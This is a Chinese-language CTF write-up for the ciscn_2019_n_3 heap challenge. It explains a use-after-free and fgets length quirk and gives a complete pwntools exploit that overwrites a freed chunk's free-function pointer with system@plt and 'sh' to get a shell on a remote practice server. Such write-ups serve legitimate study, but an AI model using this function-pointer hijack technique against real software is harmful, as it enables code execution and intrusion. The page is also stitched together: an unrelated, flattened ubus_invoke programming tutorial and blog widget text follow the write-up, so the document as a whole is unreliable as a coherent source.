ciscn_2019_n_3题目细说

本文是关于pwn初学者在解决heap类型题目时的记录,纠正了一些网上wp的错误。文章介绍了检查程序保护机制,如NX和Canary,以及fgets函数的工作原理。程序存在用户定义的释放后使用(UAF)漏洞,由于free操作后未将指针置零。主要利用点在于通过fgets函数的读取特性,结合堆块管理,构造payload来修改函数指针,最终触发system调用获取shell。文章详细阐述了漏洞利用过程,包括创建、删除堆块,以及如何利用UAF漏洞执行自定义的system命令。

写在前面

笔者在这里讲述一下新手入heap做题记录,同时修正一下网上很多wp存在的错误。

检查保护

做pwn题,老规矩是检查保护起手了。可以看到32位程序,开了nx和canary,got表可写,虽然这个题目用不到改写got表,233。
在这里插入图片描述

函数讲解

需要让大家在分析前了解的是fgets函数。

char *fgets(char *str, int n, FILE *stream)
从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止。

目前的理解就是,程序会从stream这个文件描述符中读取n - 1个字节到str指针处。注意,这里读取n - 1 字节的数据很重要。

程序漏洞分析

main函数

普通的菜单,创建、删除、打印堆块的选项。调用过system函数,可以直接利用。
在这里插入图片描述

do_new()函数

创建堆块,用records指针对堆块进行管理。网上其他博客对于创建堆块指针的存储讲解的很详细了,本文就简略带过了。只是这里要注意在输入text类型的内容时,要求我们输入读取内容的长度,并用fgets函数进行读入。还记得前面提到的fgets函数吗?,因此这里用户输入的时候,程序会比预计少读入一个字节。
在这里插入图片描述

do_del()函数

在上面的创建堆块时,会在堆块+4的位置存储相应类型free的函数,因此在do_del()函数中,会调用堆块+4处的函数指针对堆块进行free操作。
在这里插入图片描述
相应的,int类型的堆块会调用rec_int_free()函数
在这里插入图片描述
text类型的堆块会调用rec_str_free()函数
在这里插入图片描述
从上面可以看出,程序只是对指针进行了free操作,并没有将指针置0,因此存在UAF漏洞,可以进行利用。并且两种类型的堆块进行free的时候,都会对ptr即records[v0]进行free,这点很重要。

do_dump()函数

与上面的do_del()函数整体相似,且没有需要利用的地方,就不赘述了。
在这里插入图片描述

漏洞利用

exp

先贴上exp,方便后面讲解

from LibcSearcher import *
from sys import *
from time import *
context(os="linux",arch = "i386",log_level = "debug")
#++++++++++++++++++++++++++++++++++++++++
filename = sys.argv[1]
choice = sys.argv[2]
if choice == "1":
	port = sys.argv[3]
	p = remote("node4.buuoj.cn",port)
else:
	p = process(filename)
elf = ELF(filename)
#++++++++++++++++++++++++++++++++++++++++
r = lambda length: p.recv(length)
ru = lambda x : p.recvuntil(x)
s = lambda x : p.send(x)
sa = lambda delim,x : p.sendafter(delim,x)
sl = lambda x : p.sendline(x)
sla = lambda delim,x : p.sendlineafter(delim,x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def debug():
	gdb.attach(p)
	pause()
#++++++++++++++++++++++++++++++++++++++++
fake_rbp = "deadbeef"
fake_ebp = "dead"

def cmd(choice):
    ru(b"CNote > ")
    sl(str(choice))

def new(index,type,value,length = 0):
    cmd(1)
    sla(b"Index > ",str(index))
    sla(b"Type > ",str(type))
    if type == 1:
            sla(b"Value > ",str(value))
    elif type == 2:
            sla("Length > ",str(length))
            sla(b"Value > ",value)

def delete(index):
    cmd(2)
    sla(b"Index > ",str(index))

def pnote(index):
    cmd(3)
    sla(b"Index > ",str(index))

system_plt = elf.plt["system"]
new(0,2,b"aaaa",0xc)
debug()    #--------------------------------①
new(1,1,0xf)
pause()    #--------------------------------②
delete(0)
pause()    #--------------------------------③
delete(1)
pause()    #--------------------------------④
fix_delete = flat(
	{
	0x0: b"sh\x00",
	0x4: p32(system_plt)
	},length = 0x8)
new(3,2,fix_delete,0xa)
pause()    #--------------------------------⑤
delete(0)
pause()    #--------------------------------⑥
itr()

我们每次对堆块进行操作时都加上暂停进行调试分析。
在①处的断点,我们可以看到先申请了0xc大小的堆块。records[0]处记录了第一个申请到的chunk指针,我们姑且称为ptr0。在ptr0处存储了rec_str_print函数指针、ptr0+4处存储了rec_str_free函数指针,ptr0+8处记录了存储真正内容的chunk块地址,我们称这个chunk为content。
在这里插入图片描述
在②处的断点,就创建了一个新的int类型的堆块
在这里插入图片描述
在③和④处的断点,因为程序的执行流程,会让free的chunk在fastbin中如下排列。那么后面我们再申请0xc大小以下的堆块时,根据首次适应和LIFO的原则,会从左向右拿出fastbin中的空闲chunk。因此此时我们如果申请一个0xc大小的text类型的chunk,就可以将0x9c17000处的chunk作为存储text内容的chunk了。
在这里插入图片描述
在⑤处的断点,我们就按照上面的思路,申请了一个text类型的chunk,并写入了9字节的内容。这样子我们就成功的向ptr0处写入"sh\x00"的字符,改ptr0+4处为system函数的plt地址。(程序中间断掉了,heap具体地址不同)
在这里插入图片描述
在⑥处的断点,因为UAF的漏洞,我们可以继续对chunk0进行删除操作。但是这个时候程序就会执行我们布置好的system(“sh”)的命令。(当然,把sh换成/bin/sh字符串也是同一个道理
在这里插入图片描述
于此,成功getshell

多说几句

网上大多数exp的解释都是向ptr0+4处写入system函数,再向content这个堆块中写入”/bin/sh\x00“,这样子可以利用下图红色处的操作,伪造system(“/bin/sh”)执行,实际上这样子是不对的。因为用fgets函数进行读入的操作,会让我们在覆写system地址进入程序的时候,必须带上一个”\x0a“的换行符,但是这个换行符就会影响到寻找下一个chunk,因此不能解释成利用红框处的操作进行getshell。
在这里插入图片描述
真正的解释是本文上面讲述的,利用了红色框下面的一条free操作,进行system指令的伪造执行。

`ubus_invoke` 是 `libubus` 中非常重要的一个函数,用于**调用远程 ubus 对象的方法**。它类似于远程过程调用(RPC),允许你调用其他服务提供的方法并获取结果。 --- ### 一、函数原型 ```c int ubus_invoke(struct ubus_context *ctx, const struct ubus_id *obj, const char *method, struct blob_attr *msg, int (*callback)(struct ubus_request *, int, struct blob_attr *), void *priv, int timeout_ms); ``` --- ### 二、参数说明 | 参数 | 含义 | |------|------| | `ctx` | ubus 上下文,通过 `ubus_connect()` 获得 | | `obj` | 要调用的目标对象 ID(通过 `ubus_lookup_id()` 获取) | | `method` | 方法名(字符串) | | `msg` | 调用方法时传递的参数(`blob_attr *` 类型) | | `callback` | 回调函数,接收远程方法的返回值 | | `priv` | 用户私有数据,回调函数会接收到 | | `timeout_ms` | 超时时间(毫秒) | --- ### 三、使用流程简述 1. 连接到 ubusd(`ubus_connect()`) 2. 查找目标对象 ID(`ubus_lookup_id()`) 3. 构造调用参数(使用 `blob_buf`) 4. 调用 `ubus_invoke()` 并传入回调函数 5. 在回调中处理返回数据 6. 清理资源(如 `ubus_free()`) --- ### 四、完整示例:调用 `system.info` 方法 ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <libubus.h> static struct ubus_context *ctx; // 回调函数:接收 ubus_invoke 的返回值 static int info_reply_cb(struct ubus_request *req, int type, struct blob_attr *msg) { char *json_str = blobmsg_format_json_indent(msg, true, 0); printf("Response from system.info:\n%s\n", json_str); free(json_str); return 0; } int main(int argc, char **argv) { struct ubus_id id; struct blob_buf b; int ret; // 1. 连接到 ubus 守护进程 ctx = ubus_connect(NULL); if (!ctx) { fprintf(stderr, "Failed to connect to ubus\n"); return -1; } // 2. 查找 system 对象的 ID ret = ubus_lookup_id(ctx, "system", &id); if (ret) { fprintf(stderr, "Failed to find system object\n"); goto out; } // 3. 构造参数(本例无参数) blob_buf_init(&b, 0); // 4. 调用 system.info 方法 ret = ubus_invoke(ctx, &id, "info", b.head, info_reply_cb, NULL, 1000); if (ret) fprintf(stderr, "Failed to invoke system.info: %d\n", ret); // 5. 等待回调执行完毕(ubus_invoke 是异步的) uloop_run(); out: ubus_free(ctx); return ret; } ``` --- ### 五、编译和运行 ```bash gcc -o invoke_test invoke_test.c -lubus -lubox -ljson-c ./invoke_test ``` 输出示例: ```json Response from system.info: { "hostname": "OpenWrt", "board": { "model": "Linksys WRT1900AC", "firmware_version": "22.03.5" }, "uptime": 3600 } ``` --- ### 六、关键点说明 - `ubus_invoke` 是异步调用,调用后不会立即返回结果,而是通过回调函数接收结果。 - 所以必须配合 `uloop_run()` 使用,等待事件循环处理。 - `blobmsg_format_json_indent()` 可以将 `blob_attr` 转换为可读的 JSON 字符串。 --- ### 七、总结 | 操作 | 函数 | |------|------| | 查找对象 | `ubus_lookup_id()` | | 构造参数 | `blob_buf_init()` + `blobmsg_add_*` | | 调用方法 | `ubus_invoke()` | | 接收结果 | 回调函数 | | 等待异步完成 | `uloop_run()` | ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值